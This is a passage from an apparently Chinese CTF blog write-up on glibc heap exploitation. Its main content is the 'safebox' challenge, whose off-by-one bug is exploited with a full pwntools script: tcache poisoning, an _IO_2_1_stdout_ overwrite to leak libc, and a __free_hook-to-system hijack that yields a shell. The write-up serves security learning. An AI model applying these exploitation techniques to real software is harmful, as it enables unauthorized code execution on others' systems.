io.sendline('1')
io.sendline('256')
# gdb.attach(io)
io.interactive()

fake_file按照条件进行构造,这只是修改了stdout结构体,我们还需要触发_IO_flush_all_lockp,前面说过,要触发_IO_flush_all_lockp除了libc执行abort函数时,当程序执行exit时也会触发(跟进exit函数调试会发现exit函数调用了_IO_flush_all_lockp)。题目中,当我们输入的size大于0xf0时就会执行exit函数,于是我们将输入size为256就可以getshell,由于stdout结构体已经被我们修改,我们看不到程序的回显,但程序依然是可以执行的。

对比2.23和2.24下的利用手法,可以看到2.24下的利用方式更加简便

除了利用IO_FILE来getshell,当程序没有输出函数时,我们也可以利用_IO_2_1_stdout_结构体来泄露libc地址,具体原理可以看ex师傅的利用 IO_2_1_stdout 泄露信息,写的很详细

0x3.safebox

保护全开,libc2.27

有两个功能,add和delete

其中add功能存在off-by-one,很明显

unsigned __int64 sub_B2C()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-18h]
  unsigned __int64 size; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("idx:");
  v1 = sub_A84();
  if ( v1 > 0xF )
  {
    puts("error.");
    exit(1);
  }
  puts("len:");
  size = sub_A84();
  if ( size > 0xFFF )
  {
    puts("error.");
    exit(1);
  }
  qword_202040[v1] = size + 1;
  qword_2020C0[v1] = malloc(size);
  puts("content:");
  read(0, qword_2020C0[v1], qword_202040[v1]);
  return __readfsqword(0x28u) ^ v3;
}

delete函数没问题,free且指针清零

那么利用方式就是off-by-one构造出overlap,然后在tcache上踩出main_arena的地址,修改后四位为stdout结构体的后四位,1/16的几率能分配过去,然后用来修改stdout的payload为p64(0xfbad1887)+p64(0)*3+p8(0),就能够泄露出libc地址。有了地址之后,再来一次overlap,将tcache的fd修改为freehook,申请到freehook并修改为system,完整exp如下

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
elf = ELF('safebox')
libc = ELF('libc.so')


def add(index, size, content):
    io.recvuntil('>>>')
    io.sendline('1')
    io.recvuntil('idx:')
    io.sendline(str(index))
    io.recvuntil('len:')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.send(content)


def dele(index):
    io.recvuntil('>>>')
    io.sendline('2')
    io.recvuntil('idx:')
    io.sendline(str(index))


def pwn():
    add(0, 0x18, 'a')
    add(1, 0x400, 'a')
    add(2, 0x68, 'a')
    add(3, 0x68, 'a')
    add(4, 0x18, 'a')
    dele(0)
    add(0, 0x18, 'a'*0x10+p64(0)+p8(0xf1))#off-by-one,修改chunk1的size为chunk1+chunk2+chunk3
    dele(2)#将chunk2放入tcache
    dele(1)#将chunk1放入unsorted bin
    add(1, 0x400, 'a')#申请回chunk1,使main_arena落入chunk2的fd
    add(2, 0x70, p16(0x7760))#这里我们需要申请大于或者小于chunk2的chunk,否则便会从tcache中取chunk,fd便会失效;将fd的后四位修改为_IO_2_1_stdout_地址的后四位
    add(5, 0x68, 'a')
    payload = p64(0xfbad1887)+p64(0)*3+p8(0)#修改_IO_2_1_stdout_
    add(6, 0x68, payload)
    libc_base = u64(io.recvuntil('\x7f', timeout=0.2)[-6:].ljust(8, '\x00'))-0x3ed8b0
    if libc_base == -0x3ed8b0:
        io.close()
        exit(1)

    log.success('libc_base => {}'.format(hex(libc_base)))
    system_addr = libc_base+libc.symbols['system']
    free_hook = libc_base+libc.symbols['__free_hook']
    log.success('system_addr => {}'.format(hex(system_addr)))
    log.success('free_hook => {}'.format(hex(free_hook)))

    add(7, 0x58, 'a')#将剩下的unsorted bin申请出来
    add(8, 0x18, 'a')
    add(9, 0x18, 'a')
    dele(4)
    add(4, 0x18, 'A'*0x10+p64(0)+p8(0x41))#继续off-by-one
    dele(9)
    dele(8)
    payload = '/bin/sh\x00'.ljust(0x10, '\x00')+p64(0)+p64(0x21)+p64(free_hook)
    add(8, 0x38, payload)
    add(9, 0x18, p64(free_hook))
    add(10, 0x18, p64(system_addr))
    dele(8)
    # gdb.attach(io)

    io.interactive()


if __name__ == '__main__':
    while True:
        global io
        try:
            io = process('./safebox')
            pwn()
        except:
            io.close()

文章作者: Lock
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lock !
评论
 上一篇
强网杯2020 强网杯2020
强网杯2020的pwn题多且质量高,非常有必要复现一部分 0x1.easypwnunsigned __int64 sub_ACE() { unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 =
2020-08-29
下一篇 
MIPS PWN学习 MIPS PWN学习
​ MIPS架构常用于路由器设备,而路由器固件漏洞大部分都是栈溢出,因此,掌握MIPS架构下的漏洞利用对于挖掘利用路由器漏洞也是很重要的一项技能。 准备环境及工具: Ubuntu16虚拟机(Ubuntu14或者Ubunt
2020-08-04
  目录